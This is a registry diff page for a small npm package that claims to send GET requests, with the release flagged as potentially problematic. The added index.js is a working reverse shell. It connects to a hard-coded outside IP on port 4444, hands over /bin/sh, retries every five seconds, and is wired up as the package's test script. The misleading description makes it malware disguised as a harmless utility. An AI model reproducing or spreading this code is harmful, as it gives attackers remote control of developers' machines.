romeo_is_here_get-request-package_not_tested 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of romeo_is_here_get-request-package_not_tested might be problematic. Click here for more details.
- package/index.js +36 -0
- package/package.json +16 -0
package/index.js
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
const net = require("net");
|
|
2
|
+
const { spawn } = require("child_process");
|
|
3
|
+
|
|
4
|
+
const host = "139.59.21.209"; // Replace with your attacker's IP address
|
|
5
|
+
const port = 4444; // Replace with your chosen port
|
|
6
|
+
|
|
7
|
+
function connect() {
|
|
8
|
+
const client = new net.Socket();
|
|
9
|
+
client.connect(port, host, () => {
|
|
10
|
+
console.log("Reverse shell connected!");
|
|
11
|
+
|
|
12
|
+
// Spawn a shell
|
|
13
|
+
const shell = spawn("/bin/sh", []);
|
|
14
|
+
client.write("Connection established!\n");
|
|
15
|
+
|
|
16
|
+
// Pipe client input/output to the shell
|
|
17
|
+
client.on("data", (data) => shell.stdin.write(data));
|
|
18
|
+
shell.stdout.on("data", (data) => client.write(data));
|
|
19
|
+
shell.stderr.on("data", (data) => client.write(data));
|
|
20
|
+
shell.on("close", () => {
|
|
21
|
+
client.end("Shell closed\n");
|
|
22
|
+
});
|
|
23
|
+
});
|
|
24
|
+
|
|
25
|
+
client.on("error", (err) => {
|
|
26
|
+
console.error("Connection error:", err.message);
|
|
27
|
+
setTimeout(connect, 5000); // Reconnect after 5 seconds
|
|
28
|
+
});
|
|
29
|
+
|
|
30
|
+
client.on("close", () => {
|
|
31
|
+
console.log("Connection closed, retrying...");
|
|
32
|
+
setTimeout(connect, 5000); // Reconnect after 5 seconds
|
|
33
|
+
});
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
connect();
|
package/package.json
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "romeo_is_here_get-request-package_not_tested",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "An npm package to send GET requests to a specified URL",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"keywords": ["http", "get", "axios", "npm"],
|
|
10
|
+
"author": "Your Name",
|
|
11
|
+
"license": "MIT",
|
|
12
|
+
"dependencies": {
|
|
13
|
+
"axios": "^1.0.0"
|
|
14
|
+
}
|
|
15
|
+
}
|
|
16
|
+
|